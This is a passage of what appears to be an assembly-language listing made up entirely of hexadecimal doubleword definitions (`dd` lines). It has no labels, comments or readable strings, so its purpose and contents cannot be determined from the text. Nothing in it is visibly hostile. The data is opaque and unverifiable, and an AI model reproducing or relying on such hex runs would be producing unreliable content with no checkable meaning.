49DCF9C1h, 0E2F500A9h, 18944CFh, 0F301C39Ah, 3033FD02h dd 29BC6A8Dh, 6022A822h, 87073C88h, 428412C0h, 82951111h dd 5105DB18h, 0C040DE92h, 884D8885h, 8B4C2B00h, 0C384F3A5h dd 183700FFh, 5646CCD4h, 0A2E0EF96h, 918A9E00h, 143BEEABh dd 0CCF10006h, 428246C6h, 39005234h, 4DAFDE70h, 72E49A23h dd 0DC92E74h, 0AE00025h, 3D78FBE6h, 4469F800h, 592F7595h dd 998B0182h, 0FDC77E6Fh, 0C6DEF82Ah, 2D7BBF0Eh, 8AEA607Ah dd 3FE25063h, 830041CDh, 0C1915FF1h, 0D217521Ch, 50009DFh dd 0C8854B31h, 897800ABh, 7BA04324h, 140904D2h, 80E69C3Ah dd 2136021Bh, 5634031Ch, 0C8066C62h, 71267BD9h, 0BD688026h dd 3BA7142Eh, 0B0B80095h, 903C7E42h, 17008CB7h, 349F6FBFh dd 0B236D9h, 0E3DF9528h, 4A3272CAh, 0C3F44250h, 488B222Eh dd 6EBAFD00h, 63741Dh, 4ECC3010h, 16018CFFh, 50F2F700h dd 1E33FA14h, 48EA2Fh, 0FD5837B8h, 0C816A3D5h, 5BD8FE00h dd 2FAF910Fh, 1AE718F8h, 0B33B30E3h, 87BB7700h, 188F4789h dd 0C63000F9h, 0A64D2CD8h, 0A23C73CCh, 0F5BC00A0h, 0ADDD3D6Ah dd 4E60031h, 6001E7E3h, 0EE1D559Eh, 1085C639h, 6EC0262Ch dd 7B040DBAh, 0CBB84C97h, 62684B00h, 1B766303h, 0F3809B5Ah dd 31F190h, 1481C564h, 2917A8FBh, 0D90F3Dh, 0DBBD4FA2h dd 84A77Bh, 0CF6FA487h, 30FD94D6h, 5759C701h, 0FC9173F5h dd 662BF0h, 0BE65AC1Bh, 0D60EAD31h, 0F15BC900h, 0A821EFDDh dd 407FECh, 0F03F88C7h, 19C6C2FDh, 3B8D133Dh, 43490046h dd 0CB600224h, 0DE7C1F82h, 35880026h, 0A1CA6DB1h, 0BEB22C0Eh dd 0C2D400D0h, 0E851AFh, 0B9DE226h, 86131A23h, 487EB22Ch dd 7308EF00h, 20DD41h, 2B2227F5h, 6B6C1923h, 6FD4C800h dd 473E9924h, 0F0A600BAh, 70FB1695h, 23003379h, 0D0F83E3h dd 7E9A97h, 3A7A5BC5h, 4B625112h, 2CB38200h, 7CD115EFh dd 75F7BEEh, 7D705CB4h, 0A6FC908Ch, 0A70090A1h, 0F5130264h dd 34FC1ACh, 0E3425F33h, 0D9B014A4h, 9E00213Ch, 0B8DFC7FEh dd 3C80E549h, 1903F546h, 8F2229D8h, 2074C9C0h, 1239E83Ch dd 4F003823h, 0B9B3A96Ch, 44BC00CAh, 0ABF6A19Bh, 14007E70h dd 0F20B3BD6h, 4C8EBBh, 4E24BF94h, 885F731Ah, 8E4DD01h dd 1CD9E63Fh, 0D751A0D7h, 4E23003Eh, 0DC1F2889h, 877D7F2Dh dd 56265C00h, 7BA12931h, 0FF8F07DDh, 104CE0B7h, 0BF9B6515h dd 82ABE00h, 28F57D41h, 936D0075h, 559624C8h, 2F00ABA0h dd 46A1323Ah, 9E267D8h, 65F1B536h, 48EF805Dh, 25D080A9h dd 0CE5ED725h, 0C4D67C00h, 921E0Dh, 0F6F4758Bh, 78A518A7h dd 15BF7F00h, 0AAD6B5DFh, 26610008h, 14526A47h, 6624CCDAh dd 64039DC0h, 91948137h, 98E8E6A3h, 0E1B0075h, 8045361Ch dd 10001666h, 0DB2F3A5Fh, 77D4FC46h, 0C26801F1h, 6AEC9742h dd 5BD5C839h, 9A264402h, 802347C8h, 29BE7A94h, 7C612E2h dd 0CBC800C5h, 2CEF84F8h, 0E75DB806h, 18C7D6h, 358C850Eh dd 0EDA8BAE4h, 3AA63300h, 0EFDC849Fh, 1C0700AEh, 5CC5A274h dd 0AA7CD13Eh, 0BDBCE800h, 4960EEADh, 0A00E00C3h, 4A37AC5Bh dd 7700CD4Eh, 80222A21h, 8F50DEh, 0C9EC2E81h, 67E8C6E6h dd 82005373h, 0B695FB39h, 0A61EC5h, 7D07930Eh, 0A233BB0Ch dd 0DEA05300h, 12ECB34Dh, 0B01Ah, 5321C99h, 8969C503h dd 573E1801h, 0B7382C44h, 0A991E8h, 0A7EAE071h, 20266E34h dd 0B2FC5E7Ch, 46006176h, 17C710F4h, 62CB0Ch, 31366684h dd 22698B76h, 2CCA20C5h, 6D88EA00h, 265F7106h, 2422E04Dh dd 12410100h, 0CCDC286Ch, 350038B3h, 0B7F7642Eh, 7177ADECh dd 813B0062h, 9D27434Eh, 2F00683Fh, 0A7ED4CFFh, 4FBB7Ch dd 0B4B5A495h, 4AF932DCh, 1F31A300h, 0B8E4D681h, 157E34h dd 7DC0EA16h, 82CC288Dh, 35DA022Ch, 207A9E0Eh, 0D09B3266h dd 0C3BB00E1h, 0A7E585B2h, 2800CCE8h, 75F36F4Eh, 758A2CF7h dd 0E9520094h, 130311DAh, 0B20238FCh, 507860A5h, 0A0884042h dd 9B7C034Eh, 1DE11CFBh, 61DA30EFh, 0B6008091h, 0A67F65FAh dd 5C139Bh, 0A32491Ah, 4D3DB7Dh, 0C3F2151Dh, 9FEE7440h dd 10E95795h, 3BE81E25h, 79E08040h, 6591EC1Dh, 0CEE600CDh dd 598B0EC6h, 0F009EFCh, 36331190h, 0E14A78Eh, 422BC3ADh dd 0F91CDAE0h, 2F042580h, 44E96586h, 3B47DC80h, 5C5B1273h dd 0DF6000FBh, 4A293579h, 457FB500h, 0DC5AA3A1h, 63B10971h dd 3A80066Eh, 7CFB82AFh, 1FC15100h, 23ECFC80h, 3B5CF696h dd 0FF8954E9h, 8A00C657h, 0D1804C58h, 10C41837h, 13B11D30h dd 0E82300B7h, 4FA020B9h, 0B005CE15h, 46B35CF9h, 0F0E9A401h dd 7BCC2B4Bh, 0D8B2C0C0h, 6DA75F61h, 47A39100h, 81B90C57h dd 0C31A00F4h, 0E08DA890h, 0FCFC7218h, 92F56800h, 6726B312h dd 9A6A0041h, 0D5A7A438h, 49010671h, 938D1746h, 0DCF4C905h dd 9A720128h, 92F46632h, 0DBB5CC0Dh, 6513B013h, 6C8E8800h dd 0BDCAF7h, 0C2A7A522h, 97614C08h, 98C85E01h, 7F150327h dd 8C8C34h, 473B28AAh, 84229DA2h, 81A75D3Bh, 0B48297BCh dd 6860D5FEh, 76F80127h, 17E64F7Dh, 817B6019h, 0CF963Fh dd 91BAB260h, 2138EBh, 0A7F7017Ah, 88A4166Ch, 47700492h dd 0C878E100h, 0A161D011h, 6E6000A7h, 0DDEA6B3Ch, 0B2FE9F14h dd 0FEC38100h, 0EB50E411h, 51130077h, 0E602F3Bh, 0B377021Fh dd 426839h, 0FE3F23A3h, 654EBBh, 2EA66713h, 2DABD35Ah dd 25FD8A00h, 0FE53DA6Dh, 9B580189h, 9C75CDC8h, 5AFBCF54h dd 0E7D6CED0h, 48D94312h, 42F57000h, 96A4A07h, 23FF10D8h dd 0F672C20h, 0E77436Dh, 8C377103h, 0A016D7A2h, 13080698h dd 13353Eh, 3B6CAE3Ch, 0A201446Eh, 1C2DDE16h, 87D1FE60h dd 0CA80FB47h, 3DE2EB7Eh, 94008C57h, 7EACDE8h, 0AD1C953Eh dd 3CC2A4F1h, 0C0171CFDh, 0EE484ED4h, 9ED20F39h, 0DDC03D58h dd 0B5CB01FBh, 0F8804F02h, 49B622AEh, 4AF4C948h, 2A0B8A5h dd 0DBB4D60Dh, 0CE600A25h, 980F9F71h, 61CDA195h, 0C46AFA4h dd 9D47E4h, 0DDEF293Bh, 1539CBBh, 1F21D502h, 4827AA4Ah dd 0C078C55Ch, 22BA6011h, 62009695h, 88AD8C8Bh, 142B89h dd 0C8FCA78Dh, 4B079209h, 82420600h, 0BCC9187Bh, 8859000Fh dd 480123D6h, 754C99F5h, 0B44B26DDh, 0A0DFBC0Bh, 0B33CBD2Ch dd 0E96C0062h, 82E7C6E4h, 3D0DCD0Fh, 0CDAA586h, 4C103D40h dd 0ED631DD5h, 5CBD7BAh, 88FD0D30h, 2F00482Ch, 462D53C0h dd 395BFBEEh, 0DC80D191h, 0CB25663Ch, 563832Eh, 0F3842338h dd 7B0A789h, 16362A7h, 12D00A6Fh, 817FD611h, 0F1CC2524h dd 9AFC3F54h, 77190083h, 614F80C5h, 0F4794776h, 541B3303h dd 88D5E293h, 306B27h, 397F623h, 0D489EE05h, 0D069A300h dd 0F8227B02h, 0D67500DDh, 1D1CC20Eh, 2301DC59h, 8044290Dh dd 0BDF0FAC6h, 8F3103CAh, 0FFB884E2h, 0F880B5CAh, 0F2E6DB07h dd 6F0093FEh, 0CCF5E7D9h, 3CB91Fh, 82E54AEBh, 39AA53BAh dd 9770EE00h, 55FA0AF2h, 0EF2504F7h, 0C0DD1F72h, 944A48D6h dd 0F0CBA900h, 6C9FD57Ch dd 3980302Eh, 94B98349h, 378BB605h, 70C006D1h, 1DD4AF2Ah dd 0B83BE8B1h, 8FB42900h, 0B70B707Ch, 4E42871Dh, 0E268D0B0h dd 37502423h, 36803AE0h, 93E6DB1h, 5D009614h, 40FAD6D0h dd 0D1456Fh, 0E6F317C2h, 0C83AECB1h, 4F070B00h, 0CAB8DD33h dd 5F120075h, 48CDB398h, 5903CBD9h, 45B21F37h, 0E598006Eh dd 3821D66h, 5D2E43FDh, 7A16B8BEh, 0EF18C01h, 0D9F56DE3h dd 26A60B30h, 2EB47738h, 0C7F00040h, 56AA576Bh, 58B4402Ch dd 8D726A00h, 7AE7B77h, 296B1288h, 48C6319Ah, 0FA988062h dd 441D0D7h, 6DF700E2h, 0B28578FCh, 775C9F86h, 805A0122h dd 199832F2h, 20F67C20h, 270E7EBFh, 428382AEh, 87D04047h dd 0EDE05184h, 3135A5h, 0D8449D7Bh, 0E5AA10B3h, 0D77BDE7Dh dd 0D3D9D400h, 75F5E252h, 0A4E44932h, 2D8F310h, 0F0213780h dd 75958054h, 0E60BF6D3h, 0FAC3965h, 16845C80h, 503C3B11h dd 6B0BBBE0h, 845A2140h, 7CC00823h, 0C7278Ah, 2FEF111Bh dd 7AD8FEEBh, 37D04400h, 0EC213C30h, 45390038h, 0DE652295h dd 0BE1D840Dh, 0A040C3D5h, 0BD6A705Ch, 52F40323h, 4D31BFDAh dd 0FB814AC0h, 292D4B00h, 1174E4A2h, 1C240083h, 85B47F88h dd 263F8F2Ch, 652D0104h, 3CB5C663h, 16DDEF8h, 40AB2B98h dd 0B21C81h, 8BD783h, 112A16E4h, 55505429h, 0C8A88F00h dd 0A002DE99h, 0B073EAB4h, 9439A087h, 232E0EDDh, 7480BF43h dd 0DBA1314Ah, 93F3111Ch, 0C94C09h, 85676B84h, 4D6C00E3h dd 8A535C91h, 8B2A263Eh, 0DA3BB41Fh, 30D40025h, 3B48974Dh dd 40EB00B1h, 8E6D8167h, 41736F8h, 1042CB1Ah, 404E619Eh dd 7A349A2Ch, 1C1FB82Eh, 0FAAEDEh, 918F27ABh, 567D3753h dd 0F57870F5h, 14F87E00h, 80E01981h, 25E70073h, 0CE38594Dh dd 153DBF26h, 0DB828097h, 0E53FAEFEh, 4208B047h, 1EAEC7A6h dd 5266C830h, 84CE0718h, 0F0906220h, 70C79294h, 85B6D100h dd 0F2C0107Dh, 98AF71F0h, 6831129Ch, 3C520028h, 7D588EAAh dd 3C40025Ch, 0CB8480CFh, 780CFB96h, 5DE4F9B8h, 88C70770h dd 0F081121Ch, 0B503C287h, 0A3B65100h, 84B96333h, 0DED60F1Bh dd 30605924h, 0A127E688h, 0CA7F7A0Fh, 0DB342045h, 2BB50F5h dd 0F88542Bh, 0FC80AC42h, 68605A87h, 0D21B000h, 51840210h dd 973B01F3h, 146B426Ah, 0E62AF4D8h, 720139FAh, 0D67AAF78h dd 98DCA599h, 55FE00B1h, 0FF0C8E0h, 0E840301Ch, 0A9F4001Fh dd 3172CFE3h, 0F300ED64h, 5C7F7097h, 3B146559h, 577DFB5h dd 5393C0CAh, 8A248042h, 0A90074D3h, 861D9CB3h, 3D4EB88Bh dd 0E4849697h, 8C0B5F51h, 130098D0h, 0A8C34842h, 0F04D1ADDh dd 0DC47079Fh, 30D2FEFCh, 644A0FAFh, 0C5EE51Ch, 414B3AC0h dd 9BEA55h, 0C73985EDh, 0FD5A5FA3h, 273E5201h, 9B16CF4h dd 0B7C003C9h, 18A900BEh, 11DE07EEh, 9200C1D3h, 605D6AE1h dd 7AABB57h, 33B75362h, 28EF7625h, 0AF8F8400h, 346D7028h dd 0D7A7005Ah, 4E7479Eh, 0D400A1ECh, 8102FF8Ch, 39A3EB99h dd 0CB023452h, 46A4646Bh, 82001C7Ah, 9FDEC463h, 7CEDFCEBh dd 3D7DFE8Eh, 0D000C9A9h, 25B59D49h, 0A80B2F26h, 0D8C28910h dd 0C5753EB5h, 0D4EBB381h, 74A071DFh, 2009FC0h, 0B99C7B30h dd 3D93D68Ah, 0CA00BC89h, 98DD8234h, 301C920Ah, 0A400C43Bh dd 22B5F43Ch, 0B98A185Fh, 377681A1h, 0EBB24103h, 0C119A918h dd 8F04520h, 9FA22BC8h, 51101018h, 0F0C1E0A8h, 0DE20831Eh dd 787C00FAh, 0CAB9FE02h, 13F60086h, 90A168C4h, 7F0022BBh dd 0FD72A8EBh, 3F314432h, 550A1808h, 42813A3h, 84F6196Dh dd 67400968h, 60CF8CDFh, 18DE7F1Eh, 31420E2Fh, 0A12416C5h dd 0CB07AA4Eh, 0FD401389h, 6E2A8C44h, 0C200B0F9h, 0B67A4C02h dd 5BFAE400h, 0A1CD0106h, 69520018h, 0F86C8C0Eh, 0D003F67Ch dd 0A8C19D0Ah, 39A6A824h, 71340976h, 0F680055Ah, 0D2F01B17h dd 75618D00h, 8CC4E020h, 18E40023h, 0B5410EBBh, 0A13B4FFAh dd 5F670CDDh, 3A6A940h, 0DFB7B898h, 96AF83F8h, 0AD5908E8h dd 0F37B777Ch, 0C387300h, 4E0182B1h, 3A2A00BFh, 46559107h dd 311BF89Bh, 0A8D92E5Dh, 7B49F5D9h, 41120A60h, 18A4E3A8h dd 1F7212Ch, 3200F27Eh, 23140E10h, 1800C54h, 5CC1CA55h dd 43C9EDD6h, 82B097B4h, 4F0364BBh, 0A915B6F1h, 0D4B90A47h dd 40646541h, 0BD85B8C6h, 0EA22E846h, 80B1063Dh, 5E3B0F48h dd 32B2D10h, 0C0AE531h, 0D6ABA51Ch, 76247000h, 633DEBAh dd 61A90017h, 0D9BE4FA8h, 960CF50Ah, 0F8F377D8h, 306A0086h dd 2ABA8151h, 0C0E45A7Dh, 4D00DE7Dh, 0DF6D4CAFh, 7086FA2h dd 52164BBBh, 10FD8715h, 9A9F4193h, 0A09E3200h, 8965FC1Fh dd 667309h, 0EDF2E9E1h, 25766ACFh, 0D29EF907h, 6490D03Bh dd 1C2FE89Ah, 0C0CD3D78h, 0B1FE6ADBh, 0AE006D96h, 90791DCFh dd 30F7EDh, 0F102C323h, 0CD349549h, 8644EB24h, 0D45EFE00h dd 28BDE4h, 0F96C374h, 20B102CBh, 429F5200h, 3E32C21Ah dd 804A01C0h, 9B061943h, 0FFDCFC29h, 0D7CFA70Fh, 16646E53h dd 6DD8C05h, 0E35878C0h, 905D1B24h, 8C0FCFDh, 0F6789D1Dh dd 0B765F900h, 7DD3F321h, 7B5030A2h, 6EDF7028h, 0F23B3404h dd 6304FED8h, 0BD810307h, 722CA03Eh, 38CA7E7Bh, 68802D21h dd 107F8AA3h, 8100C3ADh, 43D41727h, 0CD82A1h, 0EBE73469h dd 56F2A6F7h, 802A5E3Fh, 5F21A3BDh, 0E74CC10h, 0F12BB6EEh dd 20E9DBE0h, 0B41DC879h, 530090A0h, 9B71831Ah, 6FF30061h dd 0DF09FF24h, 0EB00FC4Dh, 6B5E7CC2h, 8587FAh, 0CE7D4F90h dd 48DC63BCh, 7435DA00h, 31760670h, 9EA8008Eh, 5CCE6ACAh dd 1400C1F0h, 0EB76B34h, 4B3D33Ch, 96D7E508h, 0E06BC7BBh dd 0E2F421C8h, 2FEDEF00h, 0D86B7385h, 9BA5003Ah, 7D5F74D7h dd 0AF00D96Eh, 0EB91D5F2h, 1FB7BCh, 6D3C369Eh, 8BC2B448h dd 2FCE8D00h, 6B9FED94h, 79A50023h, 0F7347F7Ch, 1FE4D7DAh dd 69C18000h, 7E18CA0h, 0FD39018Eh, 649C267Fh, 752370EEh dd 760002B8h, 4956820Eh, 3DE31183h, 2907A7CEh, 7BB92E8h dd 7F8D7018h, 0C8002DF6h, 679531A5h, 58BEEAh, 29CC79ABh dd 0F544969Dh, 0F60055FCh, 0D883BF18h, 0AD275Dh, 1D9728E6h dd 86A62EE1h, 84401F00h, 35B68CD0h, 8978A2h, 4EC93FA7h dd 55671CC0h, 8A0344FEh, 547853BCh, 6F77A8CFh, 0FD7A0385h dd 0FC36C595h, 21B87F83h, 0F500AFE2h, 8B88039Dh, 0AA3E53h dd 0B4EEB0FEh, 16D62FC7h, 845EBF1Eh, 0D9F0A1C0h, 2830057Dh dd 0D0A758h, 1180A867h, 709C271h, 47F6EE00h, 8CB26615h dd 0DB980E4Dh, 12A08132h, 76FEFA7Fh, 9C9DE503h, 0F061C9F1h dd 3B4152D5h, 2D008D79h, 2CE22B87h, 0A7039BD6h, 16F1B420h dd 0D71288FAh, 0E6F2D5h, 2FAAF24Fh, 33D174AFh, 6AD89400h dd 53B472ACh, 0EB0802ABh, 9CBF88ADh, 0ED384840h, 3E5BE000h dd 0DA3B278Ah, 0C0EEF6BEh, 4C3DDEC0h, 82009D23h, 63C467AEh dd 9CF7A5h, 0E274980Ah, 296AE325h, 0C7ABDF00h, 0AFEFCA0Ch dd 880700ADh, 8622B9E5h, 8700CFC4h, 5FE9E7CDh, 59A471h dd 0D1CE992Dh, 8C72C6DCh, 0E1B3D41Ch, 4378F08Eh, 0B01D19B5h dd 1C4B3Bh, 0E9FBD5F8h, 0AB2A4714h, 600E3Bh, 0E6D4E1A1h dd 98BD1577h, 0B0642918h, 40411F88h, 0C7F280DFh, 0DC0004ECh dd 0ACD7D3A5h, 83F738h, 22610A87h, 0C627A34Ch, 8C8DE724h dd 58673707h, 69D7C03Fh dd 4898AF9Ch, 0C90048FCh, 2F0C5CB1h, 45005EE8h, 6A7B6553h dd 0A0736BBDh, 3BA0BAE4h, 340F132Ah, 674F5D76h, 10304D60h dd 0F5585856h, 3B8100E5h, 477CC45h, 0F7BD04A1h, 80A666D6h dd 0D5748BA9h, 270E547Dh, 2092A077h, 63214D9Dh, 0D4E90053h dd 0FB5A75A4h, 0E000773h, 87C618BCh, 13DC89B4h, 15E69EFh dd 0B57478F3h, 0EE66F027h, 834B9F00h, 0DB3A79BBh, 0E01B00A3h dd 7C47ABA1h, 961318AEh, 0C440705Ch, 9E90B3E8h, 31380EF9h dd 30400726h, 0BD61F2AEh, 11FD7500h, 0D9AB937Eh, 0D32700FAh dd 0F36EF959h, 90019E1h, 0D892A4BAh, 3D96AE5h, 4BC1496Fh dd 1AC074C3h, 5A5E2FF7h, 930045A8h, 3198D71Bh, 15FAC2DAh dd 0F124CF00h, 63B60AA6h, 3AFB803h, 0BF5A543Dh, 0B9C0B772h dd 0A4000B3Bh, 28AC9BBAh, 8C74B4h, 7F264EF4h, 130C5335h dd 0F5DCD00h, 0A087B1A9h, 4304006Bh, 0F694B328h, 99007A89h dd 93067120h, 0B07E36h, 0DB2F5845h, 0CED9ADE6h, 2A07C61Fh dd 83B807Dh, 74D5332Bh, 0B05D5C0Ch, 505E0073h, 0B2320655h dd 21C0D21Eh, 51CF7A8Ch, 5DED5CC7h, 0B38E7109h, 1F7C4C00h dd 7A0088D9h, 0C5F52029h, 48A5AD6Fh, 0A80E013h, 0A8EA771Ch dd 59747C00h, 2D2FD55Ah, 540400D7h, 35C522A5h, 4B00FDEDh dd 96F6252Ah, 0A6F801h, 0D4DC1B8Bh, 36EFAADBh, 1CCD9A00h dd 1E6D70B0h, 6F0C00BBh, 0C1506873h, 0F6E95A27h, 0F3DE780h dd 0C6006BF4h, 0BBDFF514h, 76B3CCh, 0C45BC207h, 6D525F8Dh dd 890C3700h, 24E7DBB6h, 0BDAF3B65h, 87D12500h, 0D6497D6Ch dd 0BC98E3Bh, 21734A48h, 2C37DE4Ch, 1D30E3ECh, 80EB921Bh dd 8A0B2DA8h, 417D9616h, 87074638h, 0BB625069h, 0D45549B0h dd 0EAE8030Ch, 57B154FDh, 75E036B8h, 0CC3CD4Ch, 61AC3A8Dh dd 0FF7529h, 889486BAh, 0FE63133Fh, 995A6A3Dh, 62102782h dd 0F035FD1h, 7D2D1BC0h, 0E28FB5Ch, 8158D045h, 8E3059Ah dd 7502034h, 59FFA967h, 6123C184h, 0E5188024h, 0B8888AE0h dd 44990039h, 470F69D8h, 0AE30EC02h, 7615A6B3h, 1BC500C3h dd 0D39BECEh, 0DF604888h, 0A7BD4741h, 0C2463E60h, 19D82B18h dd 2100E25Fh, 4F0CB77Ch, 0F2A14DA2h, 29D901FFh, 0B8EB8784h dd 0A9B7F0B4h, 0DEFE3300h, 571DEFF8h, 9A9E032Eh, 1FD40AE2h dd 93879CD8h, 0ABC5FA00h, 0C7A12180h, 14BC72FEh, 9C9F9DF0h dd 0A3A4B00h, 5ABDDABAh, 0E1E35C00h, 0E0BF8405h, 3BFD00F2h dd 0A168F3AFh, 0EC00118Dh, 74F93D9Bh, 0F0A4D688h, 0A6C53CA2h dd 64121400h, 36FE80CCh, 61016900h, 50E50B41h, 0A216115Fh dd 123E3EBDh, 91012E20h, 453DF9A7h, 21B7089Ah, 133A9B80h dd 8EC3F812h, 0FFC48EF0h, 9D21ACh, 284CDE11h, 0F12C0473h dd 2A787F60h, 0D8016854h, 9D187969h, 3B070486h, 61453324h dd 9E005A6Bh, 23003F4Ah, 7946A622h, 418DBAh, 96D83A8Bh dd 98A0DC54h, 90623000h, 0B7EDEA40h, 54947Ah, 14FD12A8h dd 3F0771E0h, 39C887B3h, 5E210246h, 21860047h, 7A5D69C2h dd 8E5EEB06h, 1CA127E0h, 806C3288h, 0FBB33A8Ah, 0ACA08B6Bh dd 0C001D10Ah, 904F0804h, 68477D03h, 0EA92A9A0h, 60C07DD3h dd 2D572002h, 8A05F965h, 8F19315Ah, 35A1EB00h, 793BAFAh dd 4B9EA5B5h, 7534A00Fh, 0D6007987h, 1DDFAEE2h, 7959D5C1h dd 52C00021h, 0C2BF0691h, 7015387h, 2EB68F4Bh, 0E89E3B65h dd 0BD86806Bh, 80402271h, 1346F407h, 0E610AC95h, 7D23A3h dd 0A997C4CCh, 3DC322D7h, 0DDDFA700h, 9508AD1Fh, 0E30B00F6h dd 35349CC1h, 0B1752B70h, 0A4330603h, 0FF13E00Fh, 0A7CC8130h dd 3DB5FEDAh, 6887C93Bh, 60A308A2h, 6456D792h, 70725A00h dd 3A875385h, 9E160C36h, 221466B3h, 5C5B800h, 6CE3B575h dd 0AD1E000Ah, 720BB14Eh, 2800CE67h, 0CFDC9CA8h, 850D6Dh dd 0DFB076A5h, 99E08D06h, 80E63D30h, 26CF2E24h, 2FAB2Fh dd 0E84E0785h, 0EC007497h, 78A79FDAh, 0CB6931h, 6150A34Ah dd 601A731Bh, 0BFCC9003h, 755C5B9h, 0AA9CD962h, 94A180BEh dd 0DB24227Bh, 33D111Fh, 0C0F6F4EEh, 8A83A37h, 55B85CBFh dd 26E8A580h, 0B43ED261h, 228A3600h, 6584D64Bh, 4E86Ch dd 71CBCDD0h, 0F9F03077h, 28446130h, 0C6CFADh, 862ABF0Ah dd 0E7028C40h, 0A300017Bh, 98668A58h, 9D6BB7h, 0F5777B72h dd 7F40542Bh, 0A5E0E61Dh, 3AC2C447h, 0DB533D70h, 0D872006Eh dd 36B3ADA8h, 32018728h, 71D64625h, 0C28FD5E7h, 98805C19h dd 729E0E83h, 43BDF500h, 3AB052A8h, 46B800DDh, 62036450h dd 0D600C6A4h, 9FFBF613h, 0F8CC718Eh, 4F350076h, 4C6C5FA3h dd 0E4007BF3h, 53C2C717h, 4DAF55h, 0B0CD7F87h, 0B5C94504h dd 73C291C3h, 49F907B8h, 409EBE42h, 7E083D33h, 0DF0F0E7Bh dd 0A0CD533Eh, 0B1DB3762h, 2A7A007Fh, 1BA0E807h, 5D58961Fh dd 0E59A0078h, 0DC5016F7h, 3B2A0035h, 21A687DEh, 0D3B90A7h dd 0D55200D7h, 0CCC737BFh, 0E8765Eh, 7F502C4Dh, 9C76783Eh dd 0FBD51F00h, 0BA5D6B3Fh, 0DD890022h, 0B63BDBD1h, 617E7254h dd 91B39703h, 0C0E06C39h, 7C9F8E12h, 98DE3C1Fh, 31057B80h dd 0C0B2D7C4h, 0CDBFF300h, 943E4B7Eh, 621A00F1h, 0A7E798E4h dd 0AA0029C5h, 11F7BCAFh, 0D396C3h, 0E06FDE1Ah, 0DBCC9D03h dd 0DC5E9B00h, 0CFF33DE5h, 6157129h, 627198AEh, 4F0C918Fh dd 38C8F793h, 98F8CF63h, 0A037D880h, 1400C5CDh, 0A3915844h dd 7D2A5B0Dh, 967E00F5h, 26655251h, 48C371A5h, 0D0FDC7EBh dd 0F0B141FFh, 65F86Dh, 0A211C6C3h, 0BF20637h, 0FE4C2800h dd 0EB5B3F18h, 19A7E20h, 0B0E6E24Fh, 0F4988E9Eh, 0AE002945h dd 0F5D6DE62h, 3B133BBAh, 5307AF19h, 216D88A6h, 8C063A44h dd 20393808h, 491200F6h, 0B991CF64h, 2C076226h, 41CD2F6Dh dd 5331F220h, 582B000Ch, 1530C35Ah, 0AE3F61DEh, 193C7CDCh dd 0F928155Dh, 53031338h, 38FD010Ah, 60406144h, 0DC1753AAh dd 0F10BC60h, 0F5AA3DBh, 0B22DD880h, 4463B920h, 130B8B05h dd 77684301h, 605AF580h, 0BA00F379h, 0D5B44440h, 3FDCEDAh dd 0B682E76Eh, 0A8608BD0h, 0C650F69h, 6EB73A04h, 40006BC0h dd 0D54CF8B4h, 66A0BE61h, 31C3087Eh, 0B443620Bh, 0EB2B8006h dd 0EAA5B67h, 778E4020h, 4C472187h, 20C5660h, 18A34E9Dh dd 5C7B801h, 0C7B368Ah, 7E38203Eh, 43230EB4h, 66240845h dd 4EF10400h, 0D7A528h, 73232AD4h, 9383FB02h, 0DE65BD01h dd 0C5D5FE0Ah, 0F9B0B847h, 0FA2F212Dh, 0D1953E84h, 0FE7E2600h dd 0E7C7A646h, 34E99E00h, 7BA07702h, 81B01Ah, 454250F4h dd 52A7DBAAh, 5DD95300h, 0AF15A25h, 0C1BE009Dh, 89A3B482h dd 7800BF1Dh, 949AD1C8h, 435AD3h, 0F6C67554h, 9BDDEBEDh dd 0AAB7BB00h, 0E34F6109h, 1F460185h, 49C31A17h, 29C2E463h dd 99E8EF01h, 71FDF947h, 3B70D030h, 9180B14Fh, 7E030EC9h dd 0EE021F09h, 0AF24B493h, 4024E2ECh, 0A496CEh, 9BBDE432h dd 3DE242F7h, 0E3FF7700h, 0AF37F6EEh, 985B605Dh, 268268B8h dd 56F71300h, 88520896h, 0FC776D8h, 3FC4EFDEh, 588CD0CEh dd 3B005421h, 0E1403905h, 7F7EF7h, 0CB5145EAh, 0AAB82358h dd 32285E60h, 7314978h, 79FD7E0Eh, 2B6010ECh, 0BD00D8D5h dd 0DEB34AF2h, 608E0EE9h, 729030E1h, 42981019h, 60295A48h dd 272E8948h, 0B6AB30EEh, 62AD5659h, 0C0DFFD03h, 90017E21h dd 5E4B24h, 27353F9Ch dd 0E184D291h, 2E859D1Fh, 0CA040B00h, 22E264h, 0DFCD7EE3h dd 25D63649h, 54818C07h, 0D1466E87h, 0F8700E21h, 0FCA73C49h dd 89C9E07Ch, 0AA00B171h, 2ADFF261h, 0CD0A02h, 9B900D2Bh dd 5F9E93EDh, 2FE03A00h, 0AD51C36Ch, 61B1DF2h, 265E809Dh dd 0BAF80B19h, 14A0D500h, 3B8CBB23h, 308A0057h, 0E407837h dd 0AF0E4D62h, 0C6E4E0B4h, 2EABE3h, 357A6DA7h, 0C6F859Fh dd 9CDC3D00h, 0DB69BACFh, 492900B7h, 5209B0BEh, 3C2DB404h dd 69C3602Fh, 0F0C22E7Bh, 0CC550064h, 0B12ACA62h, 5C177E38h dd 118F00CAh, 466A2E7h, 518B1E43h, 0E632C958h, 54624303h dd 0BB5F2CC0h, 40696Fh, 0FF90ED91h, 4BB53AB7h, 321CEA81h dd 0FC4438AFh, 9D3DDA6Eh, 2DEC800Bh, 3528668Eh, 0CA730019h dd 0F2FB5C89h, 8800E5E8h, 4D7ED818h, 1CA11Ah, 9F366BC7h dd 0AC7A628Bh, 0FD5FD303h, 0F8FA638Eh, 61564833h, 2AC26828h dd 0FFD8EC58h, 0D951600Eh, 0C546A07Ah, 1F186190h, 31C680h dd 208CB87Bh, 0AA00B5C2h, 0F2A071A4h, 2E1481h, 404167F0h dd 858CDBD3h, 0A11AC00h, 6E37768Ah, 0B26F0091h, 0C504830Dh dd 0F401F7EDh, 0AFA07503h, 488073FCh, 3B7B9B7Dh, 8A000D39h dd 9843218Dh, 561074h, 67031C3Ch, 5E076F1Bh, 938D7E00h dd 667850AAh, 0D07000F4h, 91BD36C3h, 39000EC5h, 748177B7h dd 3FF46A92h, 79F028h, 49648983h, 6054E904h, 2387A00h dd 28D53C94h, 30EFB8B1h, 0BD907E5Ah, 0B0033989h, 56A6E988h dd 803A0FFh, 337301B9h, 0F2F468Dh, 83FEF4E2h, 9305A00h dd 73B8C957h, 0DDB8FFh, 9BE43C8Dh, 95704491h, 0F3A03B78h dd 4100A1E2h, 3EE7F88Ah, 4771Ah, 7BF7EFB9h, 26DD238h, 0C90E677Fh dd 20E59BF5h, 4F838490h, 54AF0776h, 0D0664541h, 8F042AC5h dd 8B759F00h, 93992CF1h, 